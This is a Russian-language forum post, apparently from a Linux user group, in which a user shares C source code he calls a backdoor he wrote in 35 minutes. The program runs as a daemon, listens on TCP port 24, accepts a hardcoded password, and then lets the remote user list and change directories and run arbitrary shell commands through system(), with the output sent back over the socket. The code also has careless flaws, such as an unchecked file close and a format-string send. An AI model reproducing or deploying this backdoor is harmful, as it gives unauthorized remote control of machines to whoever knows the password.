onehalf3554
инквизитор
свои пацаны
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2root теперь ты понялд что такое кросс платформанное программирование? Ладно упростим задачу,этот быкдорчик я писал минут 35,самое простое из того что можно откомпилировать:-) | QUOTE |
//**********************************************************************
//* This C++ file written by Chernckevich K.K. *
//* homepage:http://onehalf.hotmail.ru *
//* e_mail:onehalf3554@mail.ru *
//**********************************************************************
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/poll.h>
#include <dirent.h>
long filesize__(char *fname)
{
FILE *test;
long result;
if (bcmp(fname,"cdrom",5)==0^bcmp(fname,"floppy",6)==0)
{
result=-1;
goto Ext__1;
}
test=fopen(fname,"r");
if (test==NULL)
{
result=-1;
goto Ext__;
}
fseek(test,0,SEEK_END);
result=ftell(test);
fseek(test,0,SEEK_SET);
Ext__:
fclose(test);
Ext__1:
return result;
}
void Sendcmd(char *cmd,FILE *cout)
{
fprintf(cout,cmd);
(void)fflush(cout);
}
int ConnListen(int port)
{
int Sock;
struct sockaddr_in sddr;
int cnt;
bzero(&sddr,sizeof(sddr));
sddr.sin_port=htons(port);
Sock=socket(AF_INET,SOCK_STREAM,0);
cnt=bind(Sock,(struct sockaddr *)&sddr,sizeof(sddr));
cnt=listen(Sock,1024);
cnt=accept(Sock,(struct sockaddr *)&sddr,(unsigned int *)sizeof(sddr));
shutdown (Sock,2);
close(Sock);
return cnt;
}
void main()
{
FILE *cin;
FILE *cout;
int st;
//int sz;
char Buffer[1024];
//int count;
dirent **dir__;
int dircount;
int i;
char result[400];
char snd[400];
daemon(1,0);
i=0;dircount=0;
st=ConnListen(24);
cin=fdopen(st,"r");
cout=fdopen(st,"w");
loc_2:
Sendcmd("[OK] Welcome [onehalf] to network daemon:rn",cout);
fgets(Buffer,1024,cin);
if (bcmp(Buffer,"AXZLVVFP121VB",13)==0) //the password string is here:-)))
{
Sendcmd("YOU ARE CONNECTED[OK]:rn",cout);
loc_1:
Sendcmd("[shell]:",cout);
bzero(Buffer,sizeof(Buffer));
bzero(snd,sizeof(snd));
bzero(result,sizeof(result));
fgets(Buffer,1024,cin);
if (bcmp(Buffer,"DIR",3)==0)
{
Sendcmd("Directory list [LS]:rn",cout);
dircount=scandir(".",&dir__,0,alphasort);
if (dircount<0)
{
Sendcmd("Error scaning directory but very sorry[ERROR]",cout);
}
else
{
while (dircount--)
{
bzero(result,sizeof(result));
strcpy(result,"NAME[");
strcat(result,dir__[dircount]->d_name);
strcat(result,"]:");
sprintf(snd,"[SIZE=%d",filesize__(dir__[dircount]->d_name));
strcat(snd,"]");
strcat(result,snd);
Sendcmd(result,cout);
Sendcmd("rn",cout);
}
}
}
if (bcmp(Buffer,"CD ",3)==0)
{
if (strlen(Buffer)>399)
{
Sendcmd("you command line is very long[ERROR]rn",cout);
}
else
{
bzero(result,sizeof(result));
for (i=3;i<=strlen(Buffer)-3;i++)
{
result[i-3]=Buffer[i];
}
i=chdir(result);
if (i==0)
{
strcpy(snd,"Change directory is complete->CurDir[OK]:");
strcat(snd,result);
Sendcmd(snd,cout);
Sendcmd("rn",cout);
}
else
{
strcpy(snd,"Error execute command CD directory not change:");
strcat(snd,result);
Sendcmd(snd,cout);
Sendcmd("rn",cout);
}
}
}
if (bcmp(Buffer,"SHELL ",6)==0)
{
FILE *type__;
char *rstr;
Sendcmd("SHELL ready:[OK]rn",cout);
bzero(result,sizeof(result));
for(i=6;i<=strlen(Buffer)-3;i++)
{
result[i-6]=Buffer[i];
}
strcat(result," >lst.000");
Sendcmd(result,cout);
Sendcmd("rn",cout);
system(result);
bzero(snd,sizeof(snd));
type__=fopen("lst.000","r");
while (!feof(type__))
{
rstr=fgets(snd,sizeof(snd),type__);
Sendcmd(snd,cout);
}
fclose(type__);
unlink("lst.000");
Sendcmd("End_of_transferrn",cout);
}
if (bcmp(Buffer,"SHUTDOWN",8)==0)
{ goto Exit_;
}
}
else
{
goto loc_2;
}
goto loc_1;
Exit_:
fclose(cout);
fclose(cin);
shutdown(st,2);
close(st);
}
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LUG, (L)inux (U)ser (G)roup
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